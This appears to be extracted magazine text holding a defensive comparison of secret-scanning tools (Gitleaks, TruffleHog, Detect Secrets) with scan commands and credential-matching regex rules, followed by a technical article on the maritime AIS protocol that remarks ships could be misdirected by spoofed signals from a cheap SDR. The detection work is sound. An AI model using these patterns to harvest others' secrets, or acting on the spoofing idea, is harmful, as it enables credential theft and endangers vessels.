4. Производительность. Сложные регулярные выражения могут медленно
работать на больших файлах или множестве файлов.

Анализ энтропии
Помимо регулярных выражений, при  поиске секретов применяют еще  один
эффективный метод  — анализ энтропии. Для  начала давай разберем
основные термины.

Энтропия — это показатель, который позволяет оценить степень случай‐
ности или, наоборот, предсказуемости данных. В контексте поиска секретов
в коде он помогает выделить фрагменты, которые отличаются от остального
текста по  своей структуре и, возможно, содержат скрытую информацию,
такую как пароли, ключи или токены. Чем выше энтропия, тем более случай‐
ная и непредсказуемая строка.

Для расчета энтропии строки есть математическая формула Клода Шен‐
нона. Общий процесс вычисления энтропии выглядит так:
1. : сначала берется строка из  кода или  файла, например

.
Чтение строки

a9$L2@xZ

2. : подсчитывается количество каждого символа

в строке.

Подсчет символов

3. : определяется, как  часто каждый символ

появляется в  строке. Например,  встречается один раз из  восьми сим‐
волов.

Вычисление вероятности

a

4. .Расчет энтропии

где
H(X) — энтропия строки X;•
P(x ) — вероятность появления символа x ;• i i

n — количество уникальных символов в строке.•

Секреты, такие как  пароли или  ключи API, часто имеют высокую энтропию,
потому что они созданы для безопасности и содержат много случайных сим‐
волов. Анализ энтропии помогает обнаруживать такие строки в  коде, пос‐
кольку обычный текст (например, комментарии или  обычные переменные)
чаще всего имеет низкую энтропию.

После вычисления энтропии устанавливается некий порог, выше которого
все строки считаются потенциальными секретами. Он зависит от конкретной
среды и типов данных, но часто выбирается эмпирически. Дальше надо филь‐
тровать и анализировать найденные строки.

А теперь о преимуществах и недостатках этого метода. Преимущества:
1. Обнаружение неизвестных шаблонов. Использование энтропии позволяет

выявлять случайные строки, которые могут не соответствовать известным
шаблонам секретов.

2. Автоматическое обновление. Метод не  требует постоянного обновления
правил или шаблонов при изменении формата секретов.

3. Широкий охват. Можно выявлять разные типы секретов без создания спе‐
цифических шаблонов.

Анализ энтропии удобный, но  не идеальный метод. Вот какие у  него есть
минусы:
1. Ложные срабатывания. Увы, пока что не  существует ни  одного метода

без этого косяка. Высокая энтропия может быть у строк, которые не явля‐
ются секретами (например, хеши, случайные данные), что приводит к лож‐
ным срабатываниям.

2. Сложность настройки. Способ требует тщательной настройки порогов
энтропии, чтобы сбалансировать точность и количество ложных срабаты‐
ваний.

3. Производительность. Анализ энтропии может быть вычислительно зат‐
ратным, особенно для больших объемов данных.

Как видишь, сложность настройки и затрата ресурсов — неизбежные минусы
в  любом случае. Но  детали могут отличаться в  зависимости от  реализации
того и другого метода.

КАКИЕ ЕСТЬ ИНСТРУМЕНТЫ?

Поиск секретов — один из процессов разработки безопасного программно‐
го обеспечения. По ГОСТ 56939 здесь мы также можем использовать инстру‐
менты статического анализа. Однако практика показывает, что его качество
оставляет желать лучшего. Поэтому в рамках исследования рассмотрим три
инструмента:

Gitleaks;•
TruffleHog;•
Detect Secrets.•

  — это  инструмент для  обнаружения секретов преимущественно
в  репозиториях Git, но  при нормальной настройке он также может сканиро‐
вать локальные исходные данные. Этот инструмент использует как  регуляр‐
ные выражения, так и анализ энтропии для поиска конфиденциальной инфы,
что делает его невероятно полезным для  предотвращения утечек информа‐
ции.

Gitleaks

Gitleaks поддерживает множество шаблонов для  разных секретов, имеет
возможность гибкой настройки  — пользователь сам может редактировать
правила и шаблоны для более точного обнаружения. Gitleaks легко интегри‐
руется с  пайплайнами CI/CD, обеспечивая автоматическое сканирование
на этапе разработки. А еще он бесплатный и у него активное сообщество, что
способствует его развитию и  улучшению. Но  здесь есть недостаток: анализ
энтропии не  всегда может быть точным и  требует тщательной настройки
порогов.

 находит секреты в репозиториях Git и других системах контро‐

ля версий. Он применяет регулярные выражения для обнаружения известных
типов секретов, а  до версии  3  включал и  анализ энтропии. Несмотря
на некоторые ограничения, такие как производительность и ложные срабаты‐
вания, TruffleHog остается популярным выбором благодаря простоте исполь‐
зования.

TruffleHog

Последний в  нашем обзоре  — . Чтобы обнаружить сек‐
ретную информацию, он использует комбинацию регулярных выражений,
анализа энтропии и спецплагинов. Благодаря своей гибкости и возможности
интеграции с  CI/CD Detect Secrets пользуется популярностью среди раз‐
работчиков и  специалистов по  безопасности. Но  имей в  виду: чтобы все
работало эффективно, придется попотеть на этапе настройки и фильтрации
ложных срабатываний.

Detect Secrets

КРАТКАЯ ХАРАКТЕРИСТИКА БАЗОВЫХ ИНСТРУМЕНТОВ
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В ПОИСКАХ СЕКРЕТОВ
ИСПОЛЬЗУЕМ СИЛУ РЕГУЛЯРОК

ПРИ АТАКЕ И ЗАЩИТЕ

АДМИН 
НАЧАЛО СТАТЬИ←

ОЦЕНИВАЕМ ЭФФЕКТИВНОСТЬ ИНСТРУМЕНТОВ НА ПРАКТИКЕ

У каждого из этих инструментов свои тест‑кейсы, но мы нашли кое‑что поин‐
тереснее. Тестировать будем на  OWASP WrongSecrets. Этот проект предос‐
тавляет интерактивную платформу, где разработчики и  специалисты
по безопасности могут учиться на практике, как правильно хранить секреты,
такие как  API-ключи, пароли, токены доступа и  конфиденциальные данные,
и  управлять ими. Он специально создан для  демонстрации неправильного
обращения с секретами в приложениях и для обучения лучшим практикам их
защиты. Это  делает его идеальной тестовой средой инструментов, пред‐
назначенных для поиска и управления секретами.

Посмотрим, что найдут инструменты, если мы не будем трогать настройки
по умолчанию.

Gitleaks
• Проект на GitHub

Для запуска инструмента использовалась следующая команда:

  
docker run -v /путь/до/wrongsecrets-master/:/path zricethezav/
gitleaks:latest detect --no-git --source="/path" -r="/path/
gitleaks_report.json"

Здесь папка с исходниками локальная, поэтому используется ключ .

В  результате сканирования мы получили файл ,

содержащий  20  найденных секретов. Из  них  9  секретов признаны ложно
положительными.

--no-git
gitleaks_report.json

Для чистоты эксперимента запустим стандартное сканирование, но с кон‐
фигурационным файлом, который предлагают разработчики Gitleaks:

  
docker run -v /исходная/директория:/path zricethezav/gitleaks:latest 
detect --no-git --config="/path/gitleaks.toml" --source="/path/
wrongsecrets-master -r="/path/gitleaks_report.json""

И снова получим  20  найденных секретов, из  которых  9  — ложные срабаты‐
вания.

TruffleHog
• Проект на GitHub

Этот инструмент запускался следующей командой:

run    --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest 
filesystem /pwd/wrongsecrets-master/ > trufflehog_local_report.txt


Полученный файл  не  содержал ни  одного
найденного секрета! В связи с этим пришлось выполнить ряд манипуляций:

trufflehog_local_report.txt

1. Создать конфигурационный файл  для  более
обширного и точного анализа.

trufflehog_config.toml

2. Добавить ключи:  (включает режим отладки для получения более
подробной информации о  процессе сканирования),  (включает
более подробный уровень отладки, который может помочь понять, что
именно сканируется и  какие действия выполняются),  (включает
вывод результатов в  формате JSON, что удобно для  последующего ана‐
лиза).

--debug

--trace

--json

3. Изучить результаты.

Полная команда для запуска в этом случае выглядела так:

     

  

docker run --rm -it -v "$PWD:/pwd" -v "$PWD/trufflehog_config.toml:/
config/trufflehog_config.toml" trufflesecurity/trufflehog:latest 
filesystem /pwd/wrongsecrets-master/ --debug --trace --json

При этом удалось найти лишь один секрет. Оказалось, что TruffleHog
не  может правильно обрабатывать некоторые данные и  в итоге пропускает
важные секреты. Так что он подойдет для репозиториев и текстовых файлов,
но данные других типов сканировать им почти бесполезно.

В общем, TruffleHog имеет слишком много ограничений, а значит, выбыва‐
ет из нашей гонки.

Detect Secrets
• Проект на GitHub

Запускается инструмент следующей командой:

detect-secrets scan --all-files ./wrongsecrets-master/ > detect_sec.
txt


Полученный файл  содержал  66  секретов. Из  них под‐
тверждены 42.

detect_sec.txt

Таким образом, при  применении стандартных настроек представленных
инструментов лучше всего себя показали Detect Secrets и Gitleaks.

Теперь запустим инструменты на том же тестовом примере, но полностью
отключим анализ энтропии.

Начнем с  Detect Secrets. Его используют для  анализа плагинов и  филь‐
тров. Фильтры применяются для  уменьшения ложных срабатываний и  отсе‐
ивают потенциальные секреты по  определенным критериям, прежде чем
результаты будут проверены плагинами. Плагины — это и есть основные нас‐
тройки, каждая из которых специализируется на поиске определенного типа
секретов в  файлах. Есть возможность написать собственный фильтр и  под‐
ключить его к сканированию. Для просмотра списка плагинов есть команда:

detect-secrets scan --list-all-plugins

В результате мы получим все используемые в сканировании плагины. Те, что
отвечают за  анализ энтропии, носят названия Base64HighEntropyString
и HexHighEntropyString. Их нам и надо отключить для анализа. Запустим ска‐
нирование:

 detect-secrets scan --all-files --disable-plugin 
Base64HighEntropyString --disable-plugin HexHighEntropyString ./
wrongsecrets-master > ./detect_sec_no_entropy.txt


Получаем файл, содержащий 42 секрета. Из которых только 23 — истинные.
Таким образом, мы выловили куда меньше утечек, чем в  предыдущем ска‐
нировании.

Теперь напишем regex-правила в формате TOML для Gitleaks. Пусть у нас
будет такой базовый набор:

  title = "Enhanced Gitleaks Configuration"
  version = 2

[[rules]]
  id = "AWS Access Key"

  description = "AWS Access Key"
  regex = '''AKIA[0-9A-Z]{16}'''

   tags = ["key", "AWS"]

[[rules]]
  id = "AWS Secret Key"

  description = "AWS Secret Key"
  regex = '''(?i)aws(.{0,20})?['"][0-9a-zA-Z\/+]{40}['"]'''

   tags = ["key", "AWS"]

[[rules]]
  id = "Google API Key"

  description = "Google API Key"
  regex = '''AIza[0-9A-Za-z-_]{35}'''

   tags = ["key", "Google"]

[[rules]]
  id = "Slack Token"

  description = "Slack Token"
  regex = '''xox[baprs]-([0-9a-zA-Z]{10,48})'''

   tags = ["token", "Slack"]

[[rules]]
  id = "SSH Private Key"

  description = "SSH Private Key"
  regex = '''-----BEGIN (RSA|DSA|EC|OPENSSH|PGP) PRIVATE KEY-----'''

   tags = ["key", "SSH"]

[[rules]]
  id = "Generic API Key"

  description = "Generic API Key"
  regex = '''(?i)(

apikey|api_key|secret_key|client_secret|access_token)[\s]*[=:][\s]*[
'"]?[A-Za-z0-9\/+=-_]{32,64}['"]?'''

   tags = ["key", "API"]

[[rules]]
  id = "Generic Secret"

  description = "Generic Secret"
  regex = '''(?i)(secret|password|pwd|token|key|auth)[\s]*[=:][\s]*['"]

?[A-Za-z0-9\/+=-_]{8,128}['"]?'''
  tags = ["secret"]

[[rules]]
  id = "Database Connection String"

  description = "Database Connection String"
  regex = '''(?i)(

mongodb|postgres|mysql|sqlserver|redis|couchdb|oracle):\/\/[^\s]+'''
   tags = ["database", "connection"]

[[rules]]
  id = "Google OAuth Client ID"

  description = "Google OAuth Client ID"
  regex = '''[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com'''

   tags = ["oauth", "Google"]

[[rules]]
  id = "Google OAuth Client Secret"

  description = "Google OAuth Client Secret"
  regex = '''(?i)("client_secret":\s*["'][A-Za-z0-9-_]{24}["'])'''

   tags = ["oauth", "Google"]

[[rules]]
  id = "Private Key"

  description = "Private Key"
  regex = '''-----BEGIN PRIVATE KEY-----'''

   tags = ["key", "private"]

[[rules]]
  id = "Heroku API Key"

  description = "Heroku API Key"
  regex = '''(?i)heroku[\s]*[=:][\s]*['"]?[0-9a-fA-F]{32}['"]?'''

   tags = ["key", "Heroku"]

[[rules]]
  id = "JSON Web Token"

  description = "JSON Web Token"
  regex = '''eyJ[A-Za-z0-9-_=]+\.eyJ[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]

*'''
   tags = ["token", "JWT"]

При сканировании с  использованием такого набора правил мы получи‐
ли  78  секретов, из  которых  46  оказались истинными. Почему этот результат
лучше предыдущего? Да потому, что правила были написаны вручную и охва‐
тили большее количество утечек, что, однако, не избавило нас от ложных сра‐
батываний.

Вот что получится, если дополнить эти правила анализом энтропии.

  title = "Enhanced Gitleaks Configuration with Extended Entropy 
Analysis"

  version = 2

[[rules]]
  id = "AWS Access Key"

  description = "AWS Access Key"
  regex = '''AKIA[0-9A-Z]{16}'''

   tags = ["key", "AWS"]
  entropy = 3.5

[[rules]]
  id = "AWS Secret Key"

  description = "AWS Secret Key"
  regex = '''(?i)aws(.{0,20})?['"][0-9a-zA-Z\/+]{40}['"]'''

   tags = ["key", "AWS"]
  entropy = 3.5

[[rules]]
  id = "Google API Key"

  description = "Google API Key"
  regex = '''AIza[0-9A-Za-z-_]{35}'''

   tags = ["key", "Google"]
  entropy = 3.5

[[rules]]
  id = "Slack Token"

  description = "Slack Token"
  regex = '''xox[baprs]-([0-9a-zA-Z]{10,48})'''

   tags = ["token", "Slack"]
  entropy = 3.5

[[rules]]
  id = "SSH Private Key"

  description = "SSH Private Key"
  regex = '''-----BEGIN (RSA|DSA|EC|OPENSSH|PGP) PRIVATE KEY-----'''

   tags = ["key", "SSH"]
  entropy = 3.5

[[rules]]
  id = "Generic API Key"

  description = "Generic API Key"
  regex = '''(?i)(

apikey|api_key|secret_key|client_secret|access_token)[\s]*[=:][\s]*[
'"]?[A-Za-z0-9\/+=-_]{32,64}['"]?'''

   tags = ["key", "API"]
  entropy = 3.5

[[rules]]
  id = "Generic Secret"

  description = "Generic Secret"
  regex = '''(?i)(secret|password|pwd|token|key|auth)[\s]*[=:][\s]*['"]

?[A-Za-z0-9\/+=-_]{8,128}['"]?'''
  tags = ["secret"]

  entropy = 3.5

[[rules]]
  id = "Database Connection String"

  description = "Database Connection String"
  regex = '''(?i)(

mongodb|postgres|mysql|sqlserver|redis|couchdb|oracle):\/\/[^\s]+'''
   tags = ["database", "connection"]

  entropy = 3.5

[[rules]]
  id = "Google OAuth Client ID"

  description = "Google OAuth Client ID"
  regex = '''[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com'''

   tags = ["oauth", "Google"]
  entropy = 3.5

[[rules]]
  id = "Google OAuth Client Secret"

  description = "Google OAuth Client Secret"
  regex = '''(?i)("client_secret":\s*["'][A-Za-z0-9-_]{24}["'])'''

   tags = ["oauth", "Google"]
  entropy = 3.5

[[rules]]
  id = "Private Key"

  description = "Private Key"
  regex = '''-----BEGIN PRIVATE KEY-----'''

   tags = ["key", "private"]
  entropy = 3.5

[[rules]]
  id = "Heroku API Key"

  description = "Heroku API Key"
  regex = '''(?i)heroku[\s]*[=:][\s]*['"]?[0-9a-fA-F]{32}['"]?'''

   tags = ["key", "Heroku"]
  entropy = 3.5

[[rules]]
  id = "JSON Web Token"

  description = "JSON Web Token"
  regex = '''eyJ[A-Za-z0-9-_=]+\.eyJ[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]

*'''
   tags = ["token", "JWT"]

  entropy = 3.5

[[rules]]
  id = "Twilio API Key"

  description = "Twilio API Key"
  regex = '''(?i)twilio[\s]*[=:][\s]*['"]?[A-Za-z0-9-_]{32}['"]?'''

   tags = ["key", "Twilio"]
  entropy = 3.5

[[rules]]
  id = "Stripe API Key"

  description = "Stripe API Key"
  regex = '''(?i)sk_live_[0-9a-zA-Z]{24}'''

   tags = ["key", "Stripe"]
  entropy = 3.5

[[rules]]
  id = "SendGrid API Key"

  description = "SendGrid API Key"
  regex = '''(?i)SG\.[0-9a-zA-Z\-_]{22}\.[0-9a-zA-Z\-_]{43}'''

   tags = ["key", "SendGrid"]
  entropy = 3.5

[[rules]]
  id = "MailChimp API Key"

  description = "MailChimp API Key"
  regex = '''(?i)[0-9a-f]{32}-us[0-9]{1,2}'''

   tags = ["key", "MailChimp"]
  entropy = 3.5

[[rules]]
  id = "GitHub Personal Access Token"

  description = "GitHub Personal Access Token"
  regex = '''ghp_[0-9a-zA-Z]{36}'''

   tags = ["key", "GitHub"]
  entropy = 3.5

[[rules]]
  id = "GitLab Personal Access Token"

  description = "GitLab Personal Access Token"
  regex = '''glpat-[0-9a-zA-Z\-_]{20}'''

   tags = ["key", "GitLab"]
  entropy = 3.5

[[rules]]
  id = "Azure Storage Account Key"

  description = "Azure Storage Account Key"
  regex = '''(?i)(

AccountKey|AccountKeyPrimary|AccountKeySecondary|SharedAccessSignatur
e)
=([A-Za-z0-9+\/=]{88})'''

   tags = ["key", "Azure"]
  entropy = 3.5

[[rules]]
  id = "Salesforce Security Token"

  description = "Salesforce Security Token"
  regex = '''[A-Za-z0-9]{24}'''

   tags = ["token", "Salesforce"]
  entropy = 3.5

Мы получили  3810  утечек! Откуда такой результат? Проект содержит имена
переменных, политик и  прочие данные, которые обладают высокой энтро‐
пией. Например, у  названия политики  энтро‐

пия  3,7406015, а  у   — 4,0849624. На  все эти

и другие имена в исходных текстах и реагирует Gitleaks.

AWSLoadBalancerController
AmazonEKSWorkerNodePolic

Конечно, в правилах можно прописать исключения. Они должны быть опи‐
саны в  полях  (для исключения каталогов или  файлов) и 

 (для исключения ключевых слов), что в разы сократит
количество ложных срабатываний.

[allowlist] [
allowlist.keywords]

Также в правилах можно менять уровень энтропии, на которую реагирует
Gitleaks. Например, если мы выставим уровень 4.0, то получим уже 2912 уте‐
чек, а при 4.5 количество срабатываний упадет до 126. С учетом всего выше‐
описанного мы имеем максимально гибко настраиваемый инструмент,
который работает как  с анализом энтропии, так и  с регулярными выраже‐
ниями.

ПОДВОДИМ ИТОГИ

Итак, мы рассмотрели два метода поиска утечек и три инструмента. Результат
их сравнения — в таблице ниже.

Сказать однозначно, что анализ энтропии лучше, чем regex, или  наоборот,
невозможно. Каждый метод дает ложные срабатывания или  не находит те
или  иные утечки. Так что лучшей практикой будет использовать оба метода
с тонкой настройкой под собственные требования.

Регулярные выражения и анализ энтропии прекрасно дополняют друг дру‐
га: первый метод точно бьет по конкретным целям, второй вычисляет скрытые
паттерны. Вместе они создают мощный дуэт, который поможет тебе обна‐
ружить даже самые замаскированные секреты.

Лучшим инструментом по  результатам нашего небольшого анализа стал
Gitleaks, в настройках которого ты можешь как писать собственные правила,
так и  выставлять нужный уровень энтропии. Но  если нет возможности
и желания нырять в пучину написания кастомных правил, можно ограничиться
Detect Secrets, который показал себя достаточно хорошо при полном отсутс‐
твии дополнительных настроек.

В следующей статье мы планируем подробнее рассказать про  Gitleaks:
разберем способы написания правил, тонкости настройки, а  также внед‐
рение этого инструмента в CI/CD.

https://github.com/gitleaks/gitleaks
https://github.com/trufflesecurity/trufflehog
https://github.com/Yelp/detect-secrets
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Представь, что существует радар,
на котором отмечены все корабли, их груз,
статус систем, количество человек на борту
и  еще куча информации. И  такая система
действительно есть! Сегодня мы поговорим
про  AIS  — Automatic Identification System,
которая повсеместно используется
на  море. Попробуем демодулировать
и декодировать сигналы этой системы.

ВВЕДЕНИЕ

AIS была создана давно, и  ее главная цель  — безопасное мореплавание.
В настоящий момент система выполняет следующие функции:

защита от столкновения судов;•
передача информации о корабле наземным станциям;•
контроль трафика судов через порты;•
слежка за судами для помощи в ЧП.•

Применений у  системы много. Например, люди, часто плавающие на  своих
яхтах, покупают маячки AIS, которые могут транслировать сигнал бедствия
всем судам вокруг, если человек окажется за  бортом или  судно попадет
в экстренную ситуацию.

AIS позволяет общаться с другими судами для обмена важной информа‐
цией. Такая технология помогает избежать аварий. Это  особенно актуально
для  больших кораблей, которые не  могут резко поменять курс или  оста‐
новиться.

Для реализации AIS нужен транспортер, работающий в  диапазоне VHF
(134–174  МГц). Используя специальную систему разделенного доступа
к  каналу, SOTDMA, AIS может передавать до  4500  отчетов в  минуту.
Про SOTDMA мы поговорим чуть позже.

В реальных же условиях корабли не  всегда находятся возле берегов
и  наземные станции не  всегда могут получить данные о  кораблях. Чтобы
это исправить, в AIS добавили интеграцию со спутниковой связью. Эта сис‐
тема называется SAT-AIS, она есть на  всех больших кораблях и  стоит очень
дорого, что делает ее недоступной для обычных судов. Чтобы исправить эту
проблему, люди разработали систему, в  которой суда без  SAT-AIS могут
использовать ближайшие корабли с SAT-AIS для передачи данных о себе.

SAT-AIS и AIS

ТИПЫ СООБЩЕНИЙ AIS

В зависимости от  передаваемой информации сообщения могут иметь раз‐
ную структуру. Чтобы не  запутаться, в  систему внедрили типы сообщений,
первые 6 бит показывают тип и, соответственно, формат дальнейших данных.
Немного углубимся в форматы сообщений и разберемся, какие данные мож‐
но передавать и получать в AIS.

Всего в  AIS 21  основной тип сообщений, в  будущем этот список может
быть расширен до 63. Сообщения имеют разные форматы временного дос‐
тупа к системе, разный приоритет и назначение. Рассмотрим все сообщения,
разделив их на  классы: сообщения передатчиков класса А, сообщения
передатчиков класса Б, сообщения от  ATON, бинарные сообщения AIS
с адресом, бинарные сообщения AIS для всех приемников.

Сообщения передатчиков класса А
Позиция корабля
Сообщения передатчиков класса А  с позицией передаются через равные
промежутки времени от  2  до  10  с  автоматически. Они содержат данные
о текущей позиции корабля, его скорости, направлении, состоянии индикато‐
ров маневров, в  случае если корабль делает разворот или  другой сложный
маневр. Разберем формат сообщений типа  1, 2  и  3, которые отвечают
за передачу позиции.

В целом ничего сложного, есть термины, которые используются только
в корабельном деле, но общая суть должна быть ясна. С помощью этих типов
сообщений строятся карты кораблей и отслеживаются их передвижения.

Статические данные о корабле
Статические данные могут включать в  себя позывной, версию AIS, иден‐
тификаторы приемника и передатчика, тип судна, тип груза и еще кучу важных
деталей. Эти сообщения относятся к типу 5, рассмотрим их структуру.

Сообщения со статической информацией транслируются каждые 6 мин.

Широковещательное сообщение
Сообщение типа  27, которое используется для  передачи позиции (как
в  типах  1, 2  и  3), но  имеет меньшее количество битов  — 96  бит вмес‐
то 168 в типах 1, 2 и 3. Это позволяет транслировать сообщение на спутники
или на более дальние расстояния без проблем.

Сообщения передатчиков класса Б
Сообщения передатчиков класса Б соответствуют форматам, описанным
в  классе А, но  имеют немного другую бинарную структуру передаваемых
сообщений. В  связи с  этими различиями сообщения этих передатчиков
выделяют в  отдельные типы. За  передачу позиции отвечают сообщения
типа  18  и  19, последнее является своеобразным легаси. Сообщение
типа 24 содержит статическую информацию о корабле.

Сообщения ATON
Остановимся на формате сообщений ATON и проанализируем их более под‐
робно, потому что это  довольно интересно. ATON имеет только один тип
сообщений  — 27. Передаются эти сообщения автоматически через опре‐
деленный промежуток времени.

Как видишь, в сообщении много разной интересной информации.

Бинарные сообщения
Бинарные сообщения имеют типы  6  для  сообщений с  получателем
и  8  для  широковещательных. Бинарные сообщения используются
для  передачи любой информации, например сообщений другим кораблям.
Рассмотрим структуру бинарных сообщений типа  6, для  типа  8  она похожа,
просто отсутствует поле назначения.

ТИПЫ AIS

У системы множество применений, и, соответственно, есть множество
устройств, где она реализована. Давай посмотрим, какие есть основные типы
девайсов и чем они отличаются друг от друга.

Класс А
Это самые популярные передатчики для кораблей. Сигнал с позицией (тип 1,
2  и  3) автоматически транслируется каждые  2  с. Время передачи может
меняться в зависимости от курса и скорости судна. Сигналы с дополнитель‐
ной информацией, например с показаниями датчиков (тип 5), транслируются
каждые 6 мин тоже автоматически. Передатчики этого типа позволяют кораб‐
лям обмениваться текстовыми данными. Также системы класса А могут при‐
нимать информацию о  погоде от  наземных станций. Больше информации
можно найти в стандарте IEC 61993-2.

Класс Б
Станции этого типа намного слабее станций класса А, у них меньше и мощ‐
ность, и число возможностей. Станции точно так же автоматически трансли‐
руют свое местоположение, но  с большим интервалом и  меньшей мощ‐
ностью. Также они передают дополнительную информацию, но  количество
этой информации на  порядок меньше. Устройства класса Б могут получать
текстовые сообщения, но  не могут их передавать. За  подробностями обра‐
щайся к стандартам IEC 62287-1 и 62287-2.

Наземные станции
Наземные станции помогают синхронизировать информацию из  разных
источников и  время передачи, а  также передавать судам текстовые сооб‐
щения, например о  надвигающемся шторме. Каждые  4  с  наземная станция
отправляет свой уникальный идентификатор (MMSI вида ) и дан‐

ные о времени. Наземные станции также могут передавать данные для сис‐
тем AIS ATON (AIS Aid to  Navigation) и  ASM (Application Specific Messages),
которая передает точную информацию о прогнозе погоды. Больше информа‐
ции — в стандарте IEC 62320-1.
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SART
Поисково‑спасательные системы, которые используются в  экстренных ситу‐
ациях как  маяк для  спасения. После активации транслирует сообщения
типа  14  и  позицию передатчика. Всего передается восемь сообщений
в  минуту. Передатчики спасательного типа можно определить по  MMSI,
который начинается на  970, 972  или  974. Передатчики SART транслируют
по четыре сообщения на каждой из частот AIS, то есть четыре на 161,975 МГц
и  четыре на  162,025  МГц. Позиция передатчика определяется через встро‐
енный приемник GNSS. Подробнее — в стандарте IEC 61097-14.

ATON
Навигационная система AIS Aid to  Navigation позволяет кораблям, которые
используют AIS, получать информацию о  физических объектах в  водах, нап‐
ример скалах или  мелководье. Существует три основных ATON. Первый
из них — физический объект, который транслирует информацию о ближайших
физических объектах. Второй — синтетический, который не транслирует AIS,
а  просто с  помощью света показывает местонахождение объектов. Обычно
данные о синтетических ATON передаются с наземных станций. Третий тип —
виртуальный, в  данном типе информация об  объектах передается только
через наземные станции или  спутники. Системы ATON можно обнаружить
по MMSI, который начинается на  . Подробности — в стандарте IEC

62320-2.
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Система ATON

Подводим итоги
Как видно, в  AIS много подсистем, которые отвечают за  разные функции  —
начиная от  передачи данных между кораблями и  заканчивая спасательными
объектами. Все они передают данные по  незащищенному каналу, кроме,
конечно, Blue Force Tracking, военной системы США и  НАТО, которую они
используют в зашифрованном виде через спутники. Атакующий может легко
передать данные, например ATON, и  заставить корабли развернуться
или  запустить еще  один корабль, который будет идти прямо на  цель. Все
это  возможно сделать с  простым SDR-передатчиком за  200–300  долларов.
В  этой статье мы не  будем углубляться в  атаки на  AIS, а  только попробуем
полностью разобраться в передаче, модуляции и кодировании.

WARNING

Статья имеет ознакомительный характер. Автор
и  редакция не  несут ответственности за  любой
вред, причиненный с  применением изложенной
информации. Распространение вредоносных
программ, нарушение работы систем и  наруше‐
ние тайны переписки преследуются по закону.

Отметим основные пункты:
Данные о позиции AIS получает по GNSS.•
Данные о  других кораблях система получает либо с  наземных станций,
либо непосредственно от других кораблей.

•

Есть разные типы передатчиков.•
Типы передатчиков можно установить по MMSI.•
Некоторые корабли могут работать с AIS-SAT, а некоторые нет.•
Система не имеет шифрования, кроме как для военных частот.•
AIS работает на  двух частотах или  каналах (VHF): 161,975  МГц
и 162,025 МГц с шириной в 25 кГц.

•

Изучить, , можно на официальном сайте системы.как выглядит AIS

MarineTraffic

ДЕМОДУЛЯЦИЯ

Перейдем к более интересной составляющей статьи. В этом разделе изучим
модуляцию сигнала и основные форматы данных.

Частота
AIS работает на двух основных частотах. В некоторых источниках их называют
каналами. Это  161,975  МГц и  162,025  МГц, каналы же соответственно
называются 87b и 88b. Все это находится в диапазоне VHF, который включает
в себя метровые волны от 1 до 10 м. Радиосвязь на этом диапазоне, как пра‐
вило, возможна на  расстояние до  нескольких десятков километров, а  при
совпадении факторов ионизации и  отражения и  до тысяч километров  —
при наличии мощного передатчика. VHF отлично подходит для связи в городе
и на местностях с прямой видимостью, какой воды и являются.

Модуляция
Для модуляции используется GMSK — это один из видов частотной модуля‐
ции, который передает данные, изменяя частоту при  изменении бита. Нап‐
ример, если 1 — это 10 Гц, а 0 — 20 Гц, то в зависимости от исходных данных
сигнал будет иметь разные частоты в разных временных промежутках.

GMSK  — это  улучшенная версия частотной модуляции. Так как  большое
количество передатчиков не  должны мешать друг другу, GMSK имеет
минимальную ширину спектра и хорошую скорость передачи. Это позволяет
экономить место в  полосе, причем сложность передатчиков и  приемников
не слишком возрастает.

В основе такой модуляции лежит гауссовский фильтр нижних частот,
а  индекс модуляции, который задает разницу между частотами для  0  и  1,
минимален (0,5). Все это позволяет получить минимальную ширину спектра.
Если хочешь подробнее изучить, как работает GMSK, можешь начать с 

 про FSK, MSK и CPFSK.
моих

статей
Здесь же мы углубимся в  частотную модуляцию, чтобы лучше понимать,

что именно мы будем демодулировать.

GMSK
Рассмотрим несколько примеров работы GMSK-модуляции. Начнем с прос‐
того  — с  того, как  модулируется сигнал. Начнем с  FSK. Это  самая простая
частотная модуляция, которая без  какой‑либо обработки переключает час‐
тоты в зависимости от входного сигнала. Обычно в схеме модуляции FSK есть
два генератора с разными частотами и ключ.

На ключ подается либо 1, либо 0, в зависимости от передаваемых данных.
На  выходе получается сигнал с  разными частотами. Длительность каждого
бита выбирается исходя из требований к скорости передачи, но бесконечно
уменьшать длительность сигнала не получится из‑за особенностей FSK.

FSK-модуляция

Спектр FSK довольно широкий из‑за скачкообразного изменения фазы меж‐
ду переключениями частот. Эти скачки создают дополнительные боковые
гармоники на спектре, которые не позволяют использовать FSK при малень‐
ком канале. Чтобы решить эту проблему, была разработана CPFSK  — час‐
тотная модуляция с непрерывной фазой.

Что такое фаза
Фаза — это положение текущего значения сигнала в пределах одного пери‐
ода относительно определенной начальной точки.

Фаза

CPFSK-модуляторы учитывают фазу прошлого сигнала и  начинают перек‐
лючение без скачка фазы.

CPFSK и FSK

Как видно на двух последних графиках, у CPFSK нет скачкообразного перехо‐
да, что позволяет существенно снизить количество боковых гармоник. Если
изучить спектр двух модулированных сигналов  — FSK и  CPFSK, то разница
становится еще очевиднее.

Спектры FSK и CPFSK

Продолжение статьи
→
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Заметно, что в  CPFSK боковых гармоник почти нет, но  проблема ширины
канала все еще  остается. Так как  в частотной модуляции используется две
частоты, то между этими частотами должна быть какая‑то разница, чтобы
при приеме сигнала и его демодуляции можно быть отличить, где 0, а где 1.

Разница между частотами называется девиацией частот. При уменьшении
девиации можно достигнуть порога, при котором сигнал уже нельзя восста‐
новить. Модуляция с  минимальной девиацией, а  точнее, с  минимальным
индексом частотной модуляции называется MSK (Minimum Shift Key). Индекс
модуляции в MSK составляет 0,5. Почему столько и как его получить, я 
у себя в блоге. При сравнении спектров CPFSK и MSK разница заметна.

писал

MSK и CPFSK

Теперь, после того как  изучены FSK, MSK и  CPFSK, можно перейти непос‐
редственно к GMSK. Это частотная модуляция, по сути MSK, к которой при‐
менили гауссовский фильтр нижних частот, что позволило еще  сильнее
уменьшить ширину спектра. Сравнить MSK и  GMSK можно на  следующем
графике спектра.

MSK и GMSK

Демодуляция GMSK
Не будем останавливаться на  музейных частотных детекторах и  детекторе
отношений, рассмотрим более современный квадратурный демодулятор.
Сигнал в квадратурных демодуляторах раскладывается на две ортогональные
составляющие: синфазную (I) и квадратурную (Q). Сам процесс демодуляции
включает несколько основных этапов, которые мы сейчас и рассмотрим.

